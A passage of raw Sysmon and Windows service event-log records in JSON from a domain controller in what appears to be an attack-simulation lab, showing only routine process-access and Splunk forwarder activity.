ystem32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00104D410500}\r\nTargetProcessId: 4568\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00104D410500}","TargetProcessId":"4568","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.045\r\nProcessGuid: {90617006-407E-5F2D-0000-00100E420500}\r\nProcessId: 3360\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407E-5F2D-0000-00104D410500}\r\nParentProcessId: 4568\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list replication_port --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.045","ProcessGuid":"{90617006-407E-5F2D-0000-00100E420500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407E-5F2D-0000-00104D410500}","ParentProcessId":"4568","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list replication_port --no-log","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-00104D410500}\r\nSourceProcessId: 4568\r\nSourceThreadId: 4464\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00100E420500}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-407E-5F2D-0000-00104D410500}","SourceProcessId":"4568","SourceThreadId":"4464","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00100E420500}","TargetProcessId":"3360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00100E420500}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00100E420500}","TargetProcessId":"3360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76839,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The sppsvc service entered the stopped state.","param1":"sppsvc","param2":"stopped","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.d